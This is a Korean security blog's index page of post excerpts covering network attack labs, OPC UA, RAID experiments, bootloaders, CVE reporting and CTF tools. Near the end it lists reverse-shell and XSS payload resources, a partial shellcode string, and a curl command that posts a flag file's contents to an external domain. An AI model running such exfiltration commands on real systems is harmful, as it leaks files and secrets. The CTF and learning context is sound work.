본문 바로가기

전체 글38

[Network] ARP Spoofing 실습 VM 사용 ARP_Spoofing전제 :해당 실습 문서는 host pc가 windows 10 운영체제로 구동된다는 전제로 작성되었음윈도우 11에서는 아래 문서 내용을 따르면 실습이 가능하며,Mac OS 를 사용하는 경우 타 hypervisor 를 사용해서 진행하면 된다.준비 :가상 OS들을 구동시킬 VMware Workstation [0.5GB]https://www.vmware.com/content/vmware/vmware-published-sites/us/products/workstation-player/workstation-player-evaluation.html.html 버전 무관, 무료버전 다운받아도 됩니다Kali Linux ( 버전 상관 없음 ) [2.9GB]https://www.kali.org/get-k.. 2024. 5. 6.
[Network] SynFlood 실습 VM 사용 윈도우 XP를 준비하고 윈도우 XP 내부에 APM7과 wireshark 32bit 1.10.x 버전을 설치해준다.이 과정이 어려우니까 아래 주소를 활용한다.http://git.zeropointer.co.kr/gap_dev/share/ lee_dongha / share · GitLabGitLab Community Editiongit.zeropointer.co.kr https://pwnhub.kr/36 [Network] SynFlood 실습 VM 이용 시 주의사항SYN Flood 실습을 VM으로 진행하는 것은 어렵지 않다.하지만 windows xp 이용으로 인해 발생하는 오류로, 다수의 학생이 실습 진행을 실패하여 아래 내용을 정리하였다.*vmware가 xp를 자동으로 인식하여pwnhub.kr참고하면 된다... 2024. 5. 5.
[Network] SynFlood 실습 Docker 사용 실습 방법은 VM과 거의 일치한다.Dockerfile만 공유하겠다. ( 직접 만든 이미지 ) FROM ghcr.io/linuxserver/baseimage-kasmvnc:alpine319# Set version labelARG BUILD_DATEARG VERSIONARG WIRESHARK_VERSIONLABEL build_version="Linuxserver.io version:- ${VERSION} Build-date:- ${BUILD_DATE}"LABEL maintainer="thelamer"# TitleENV TITLE=Wireshark# Install packages including OpenSSHRUN \ echo "**** add icon ****" && \ curl -o \ /kcl.. 2024. 5. 5.
[Network] SynFlood 실습 VM 이용 시 주의사항 SYN Flood 실습을 VM으로 진행하는 것은 어렵지 않다.하지만 windows xp 이용으로 인해 발생하는 오류로, 다수의 학생이 실습 진행을 실패하여 아래 내용을 정리하였다.*vmware가 xp를 자동으로 인식하여 tools를 설치하지 못한 경우에 주로 발생한다. ------------------------------------------------------------------------------- 윈도우 xp 는 현재 https 접속을 할 수 없음→ vm 내부에서는 절대로 wireshark과 apm7을 설치할 수 없음 ( 크롬이나 firefox를 설치해야 함 )wireshark 는 vm내부에서 http만으로 설치할 수 있는 페이지가 있긴한데(대부분 여기로 끌림)그 wireshark 는 최신버.. 2024. 5. 5.
[CPS] OPC UA 프로토콜 클라이언트 개발 OPC UA는 사실 레퍼런스도 공개되어 있으며, 이를 바탕으로 한 라이브러리가 이미 공개되어 있다.https://opcfoundation.org/developer-tools/samples-and-tools-unified-architecture Unified Architecture - OPC FoundationThe following Unified Architecture sample code is provided to demonstrate Server and Client implementations, along with many other aspects of UA technology. Certified Commercial OPC toolkits are the most effective way to maxi.. 2024. 5. 5.
[CPS] OPC UA 프로토콜 실습 실습을 위해서 OPC UA 서버를 로컬에 설치하고 가상의 PLC 를 연결하여 OPC server를 구축하겠다.( LX PLC가 사무실 어딘가에 있었던 것 같은데, 이사하면서 잃어버린 듯 하다 )OPC Client 또한 로컬에 설치하여 별도의 네트워크 구성없이 실습을 진행하겠다. ( 실제로는 이런 구성이 있을리가 없다 ) 클라이언트 소프트웨어로는 UaExpert v1.7.1를 사용하였다. 회원가입 시 무료 다운로드가 가능한 소프트웨어다.서버 측 소프트웨어로는 Kepserverex 를 이용하였다.해당 소프트웨어는 유료 프로그램이며, 데모를 2시간 지원해준다. 따라서 실습만 진행하고, 이후에는 ROBO DK 를 통해 가상 서버를 구현하였다.가상의 서버를 구축하기 위해서 OPC quick client 를 사용하.. 2024. 5. 5.
[CPS] OPC UA 프로토콜 정리 과거에 공장 로봇 관련 취약점 분석 과제를 진행하면서, OPC UA 프로토콜을 구현한 적이 있었다.최근 OPC UA python구현을 과제로 받아서 해당 내용을 다시한번 정리하려고 한다. OPC란?PLC마다 다양한 프로토콜을 사용하여 각각의 드라이버가 필요했고, 이로 인해 PLC 제어의 불편함이 있었음따라서 이를 OPC 서버라는 개념으로 제어하게 되었고, 여기서 서버와 클라이언트 사이에 OPC 프로토콜을 사용하게 되면서 OPC 프로토콜이 4차산업혁명과 관련된 스마트공장 인프라에 자리잡음 기존 serial port, ethernet 을 사용한 통신에는 동시에 연결될 수 있는 장치 수에 제한이 있다는 문제점이 존재하였다.해당 문제점 또한 OPC 의 등장으로 크게 해소되었다. 기존 OPC최초에 OPC Clas.. 2024. 5. 5.
[ELF 구조]리눅스 커널 코드 분석 000 https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h#define EI_NIDENT 16typedef struct elf32_hdr { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; /* Entry point */ Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Hal.. 2024. 4. 29.
[RAID] h/w raid card 03 DELL MD1200 스토리지 서버를 구매했다.DELL poweredge R930에 DAS로 사용하려고 한다. 가성비 좋은 제품 중 SAS로 1tb hdd 12개를 구매하여 장착하였다.sata와 sas는 포트 모양이 미세하게 다르다. sata는 sas대신 장착할 수 있다.( 반대는 안된다 ) 그리고 SAS가 SATA보다 빠르다.왼쪽이 SAS, 오른쪽이 SATAbay 형태로 3.5파이 12개가 들어간다.뒷 모습이며 2대의 EMM(Enclosure Management Module = 컴퓨터)가 들어가며, 2개의 power supply가 들어간다.600W 80 + silver 모델이었다.EMM도 분리가 가능했으며 특이한 형태의 걸쇠로 장착되었다.EMM의 연결 부위이다. 해당 인클로저에 적합한 RAID 카드가 .. 2024. 4. 29.
[RAID] h/w raid card 02 시간이 너무 없어서 빠르게 진행했다.저가 SSD 128gb를 2개 준비하였으며, power 이슈로 외부 서플라이를 활용하였다.서플라이의 PS-ON과 GND를 쇼트시켜주면 서플라이는 메인보드 없이 ON상태가 된다. 우선 SATA SSD의 기본 속도를 측정해보았다.Crystal Disk Mark로 측정했으며, 두 디스크 모두 비슷한 결과가 나왔다. 이어서 아래와 같이 RAID CARD에 2개의 SSD를 연결하였다.RAID CARD 의 BIOS에 password가 걸려있었고, c 언어로 brute force 코드를 작성해서 아두이노 키보드로 무차별 입력을 시도했으며, 모니터 출력을 영상처리하여 password error가 안나는 순간까지 대입 공격을 진행하였다. 그 결과 RAID CARD의 password를 .. 2024. 4. 29.
[RAID] h/w raid card 01 areca ARC-1680 레이드 카드를 빌리게 되어 h/w raid를 실험해보게 되었다.실험환경은 hp의 z400 workstation으로 모두 초기화한 상태에서 진행하였다. 해당 RAID카드는 RAM을 cache로 사용할 수 있는 모델이었다. 따라서 raid card의 cache를 위주로 알아보려고 한다.raid카드의 사용 목적에는 raid를 구성하여 하드디스크를 안전하게 사용하는 것도 있지만, I/O로 인해 발생하는 병목현상을 줄여주어 속도를 향상시키는 역할도 있다고 한다.*RAID를 백업 개념으로 이해하는 사람들이 다수 존재하는데, 개인적으로 보안 관점에서는 백업의 의미로 보지 않는다. 해킹을 통해 디스크 무결성을 훼손하면, 결국 패리티/백업 디스크 또한 오염될 될 가능성이 높기 때문이다. 정리에.. 2024. 4. 29.
[학점을 챙기자]구글 설문지 파이썬으로 정리하기 *학점을 챙기자에 포스팅하는 이유 -> 인공지능 프로그래밍 강의에서 data pre processing 배우길래... 동아리 운영중에 신규 회원 모집을 구글 폼으로 받았다가, 60명이 넘게 지원하여 하나하나 카카오톡 채팅방에 초대하기 귀찮은 문제가 발생해버렸다. 설문지 -> google sheets -> xlsx 다운받기 그리고 colab이나 jupyter notebook으로 불러온다. ai 짬에서 나온 pandas를 import해주고 head를 찍어보면 잘 나오는 것을 확인할 수 있다. df2에 df를 복사해서 언제 필요할 지 모르는 원본 df를 보호해준다. df2에서 필요없는 칼럼을 일단 지워주고 count와 info를 찍어본다. 여기서 발생하는 첫 번째 문제가 전화번호 형태였다. 0109999888.. 2024. 3. 14.
SVN 사용법 GIT 과 유사한 버전관리 시스템 SVN과 Git의 차이점 - Git이 SVN과 다른 점은 분산형 관리 시스템이라는 것이다. - SVN : 중앙 서버에 소스코드와 히스토리를 저장 - Git : 소스코드를 여러 개발 PC와 저장소에 분산해서 저장 - 그렇기 때문에 중앙 서버에 장애가 발생해도 로컬 저장소에 커밋을 할 수 있으며, 로컬 저장소들을 이용하여 중앙 저장소의 복원도 가능하다. - 사본을 로컬에서 관리하기 때문에 GIT이 SVN에 비해 훨씬 빠르다. (SVN은 변경 로그 하나 보는 것도 인터넷을 경유해야 한다.) 출처: https://hahahoho5915.tistory.com/40 [넌 잘하고 있어:티스토리] sudo apt install subversion 으로 설치 svn co --userna.. 2024. 3. 5.
Github education plan requests 승인 방법 In korea univ 삽질 안하려고 메모: github education 혜택을 받기 위해서는 아래 링크에 학교 이메일과 학생증/재학증명서를 요구한다. https://education.github.com/discount_requests/application GitHub: Let’s build from here GitHub is where over 100 million developers shape the future of software, together. Contribute to the open source community, manage your Git repositories, review code like a pro, track bugs and fea... github.com 그런데, 내 경우에는 서류가 9번 리젝되었고.. 2024. 3. 5.
[OS만들기]BOOTLOADER->KERNEL 시도... 이전에 만든 부트로더에 추가하여, 특정 섹션을 메모리에 올리는 것을 시도함 [org 0x10000] [bits 16] mov ax, 0xB800 mov es, ax mov byte[es:4], 'i' mov byte[es:5], 0x09 mov byte[es:6], 'h' mov byte[es:7], 0x09 jmp $ times 512-($-$$) db [org 0] [bits 16] jmp 0x07C0:start start: mov ax, 0xB800 mov es, ax mov byte[es:0], 'h' mov byte[es:1], 0x09 mov byte[es:2], 'i' mov byte[es:3], 0x09 jmp 0x1000:0 times 510-($-$$) db 0 dw 0xAA55 이렇게.. 2024. 2. 24.
[OS만들기]BOOTLOADER A bootloader is a computer program that is responsible for booting a computer. mcu에 부트로더가 있기도 하고, 온 칩으로 존재하기도 함 부트로더가 필요하지 않은 경우 : - 펌웨어가 업데이트될 필요가 없는 제품 - 필드에서 혹은 소비자가 직접 펌웨어를 업데이트 할 필요 없는 경우 - 별도 부트로더가 필요없는 MCU : STM32 포함 대부분의 MCU는 별도 부트코드 필요없이 특정 툴을 사용해 내장 Flash Memory 에 Wirte하면 바로 실행 가능 부트로더를 추가하면 메모리 구조가 변경 되기 때문에 링커 스크립트 파일을 수정하여 펌웨어의 시작 위치와 인터럽트 벡터의 주소를 변경해야 한다. A bootloader is a computer.. 2024. 2. 24.
[WORKSTATION 구축]뻘짓진행 - NAS, DAS, SAN 정리 Storage 에는 여러 형태가 존재한다. 1. NAS Network Attatched Storage 네트워크 인터페이스를 통해 연결되는 방식으로 USB와 같은 인터페이스보다는 넓은 대역폭을 가지고 있다. NAS에서는 파일단위 입출력을 사용한다. - NFS (Network File System) - SMB/CIFS (Server Message Block/Common Internet File System) - FTP (File Transfer Protocol) - HTTP (Hypertext Transfer Protocol) - AFP (Apple Filing Protocol) 와 같은 프로토콜을 이용한다. 2. DAS Direct Attatched Storage 서버에 직접적으로 연결되는 방식으로, 서버.. 2024. 1. 29.
Bug Bounty 받으면서 CVE 받기 국내에서 CVE와 버그바운티를 함께 주는 곳은 흔치 않다. 국내에서 버그바운티를 운영하는 기관으로는 patch-day https://patchday.io/ kakao https://bugbounty.kakao.com/ naver https://bugbounty.naver.com/ kisa https://knvd.krcert.or.kr bug camp https://bugcamp.io 가 떠오른다. 해외 버그바운티 플랫폼으로는 hacker-one https://hackerone.com/opportunities/all huntr dev https://huntr.com google vrp https://bughunters.google.com 가 규모있는 플랫폼이며 google apple https://secu.. 2024. 1. 28.
블로그 계획 원래 발견한 0-day 취약점, fuzzing 관련 내용, 논문쓰면서 연구하는 내용들 위주로 업로드 하려고 시작했는데, 공개된 게시판에 관련 내용을 업로드하면 안된다는 경고을 받아서... 관련 글 모두 삭제하고 1-day 분석, 보안 공부, write-up 위주로 업로드하려고 합니다 2024. 1. 28.
PGP 란, 이메일 암호화/복호화 취약점 관련 메일을 주고받을 때에, PGP 암호화를 해야하는 경우가 종종 발생한다. Tidelift, Mitre 정도가 떠오르는데, 처음 PGP 암호화를 진행했을 때에는 제대로 암호화가 된 것인지 헷갈렸던 기억이 있다. 1. PGP란? PGP = Pretty Good Privacy 대칭 암호화와 비대칭 암호화를 사용해 높은 수준의 보안을 가능하게 하는 하이브리드 암호화 시스템 이라고 한다. 2. GPG란? GPG = GNU Privacy Guard GPG는 PGP를 기반으로 만든 소프트웨어, PGP 대신할 수 있음 PGP 의 오픈소스 구현 버전 3. 원리 RSA 암호의 비대칭성을 이용한다. RSA 암호화의 경우 public키와 private키가 따로 있으며, encrypt를 할 때에는 public키가 필.. 2024. 1. 28.
GITHUB에 공개된 project 취약점 CVE request PROCESS github는 개인적으로 CVE를 발급,퍼블리시하기에 가장 좋은 CNA라고 생각한다. github에 공개된 repo에 security.md가 활성화 되어 있다면, 아래 기능을 이용할 수 있다. *활성화 안된 경우 Suggest a policy 를 진행한 후, 주인이 승인하면 아래 기능을 이용할 수 있다. 아래와 같이 보인다면, 이미 security.md가 활성화 된 것이다. report a vulnerability 를 누르면 취약점 설명란이 나타난다. 취약점에 대한 자세한 내용을 기술한 후 Submit report를 눌러서 마친다. 매우 빠른 시일내에 CVE publish 까지 진행된다. ( 대부분 1주일 이내, 빠르면 2일 이내 ) github profile에도 노출된다. (개수가 엄청 늦게 업데이트되.. 2024. 1. 27.
Apple 취약점 CVE request PROCESS https://security.apple.com Apple Security Research Hear about the latest advances in Apple security from our engineering teams, send us your own research, and work directly with us to be recognized and rewarded for helping keep our users safe. security.apple.com 애플은 위 페이지에서 취약점 제보를 받고 있다. CNA에 등록된 기업이라 취약점 제보 후 바운티 + CVE publish 까지 한번에 진행해준다. 위 페이지에 접근한 후, 우측 상단에 New Report 를 눌러준다. 오른쪽 페이지에 Repo.. 2024. 1. 27.
non-CNA 제품 MITRE CVE PUBLISH PROCESS 이전 포스팅 내용을 통해 CVE를 요청하는 방법을 정리했다. 하지만 해당 방법을 통해 CVE를 발급받을 수는 있지만, publish 할 수는 없다. CVE가 publish되기 위해서는 벤더사에서 패치 내역등을 공개해줘야 한다. 이번에는 CVE 발급 후 publish 시키는 방법을 정리하려 한다. https://en.bandisoft.com/bandiview/history/ 벤더사에 취약점을 제보하고 패치된 후, 위 내용처럼 패치노트에 크레딧을 올려주셨다. 이 내용을 바탕으로 CVE publish 요청을 넣을 수 있다. 지금은 위 사진과 같이 RESERVED로 남아있는 상태이다. https://cveform.mitre.org CVE - Common Vulnerabilities and Exposures (C.. 2024. 1. 27.
non-CNA 제품 MITRE CVE REQUEST PROCESS CVE 발급받을 수 있는 방법 중 하나인 MITRE를 이용하는 방법을 정리하려 한다. CNA라는 CVE 발급 권한이 부여된 기관의 제품의 경우, 취약점 제보 후 CVE 등록, 퍼블리시까지 모두 진행해준다. 하지만 그 외의 제품의 경우, CVE 발급 절차를 MITRE 를 통해 진행해야한다. 아래 사이트를 이용한다. https://cveform.mitre.org CVE - Common Vulnerabilities and Exposures (CVE) Attack Type Definition Remote The vulnerability can be exploited through a network. The attacker may be either on the adjacent or remote network. L.. 2024. 1. 27.
ascii art ctf 출제하다가 찾은 사이트 들 https://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 https://ascii.co.uk/art https://asky.lol https://www.ascii-art-generator.org https://fsymbols.com/text-art/ Text to ASCII Art Generator (TAAG) patorjk.com 2024. 1. 25.
shellcode generator, db https://masterccc.github.io/tools/shellcode_gen/ /bin/cat Shellcode generator /bin/cat [your_file] Shellcode generator for intel x86 File name to read : Generate This is your shellcode : \x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2e\x74\x78\x74\x68\x66\x6c\x61\x67\x89\xe1\x50\x51\x53\x89\xe1\x31\xc0\x83\xc masterccc.github.io https://github.com/secnnet/Shellcode-Genera.. 2024. 1. 25.
syscall https://syscall.sh/ Linux System Calls quick and easy Linux System Calls and Call Conventions for most architechtures syscall.sh 편함 2024. 1. 25.
XSS payload https://tinyxss.terjanq.me Tiny XSS Payloads Tiny XSS Payloads Features available Payloads tinyxss.terjanq.me 짧은거 모음 https://github.com/payloadbox/xss-payload-list GitHub - payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List - GitHub - payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerabi.. 2024. 1. 25.
reverse shell, curl bash perl ETC... https://www.revshells.com/ Online - Reverse Shell Generator Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs. www.revshells.com 편하게 리버스 쉘 커맨드 만들 수 있음 curl -X POST -d "data=$(cat /app/flag.txt)" https://dongha.xyz/ 2024. 1. 25.
해킹환경 셋팅 초기화 할 때 마다 설정하는 내용이기도 하고, 공유해달라는 요청도 많아서 정리하는 포스트 1. windows 리눅스는 WSL을 기본으로 사용함 vmware workstation으로 우분투 22, kali, win7 정도 사용함 디컴,디버거는 IDA 32/64 Xdebuger 32/64 windbg gdb(linux) 많이 사용함 2.mac parallels로 윈도우, 우분투 올려둠 ( m3pro 사용 중이라 거의 의미없음 ) lldb, gdb(linux) 많이 사용함 cutter랑 ida 사용함 terminus -> ssh 사용할 때 너무 편함 iterm -> rosetta2로 열기 설정해서 x86 arch로 두고 씀 text scanner -> command + 1 눌러서 OCR 하는 프로그램인데 저렴.. 2024. 1. 25.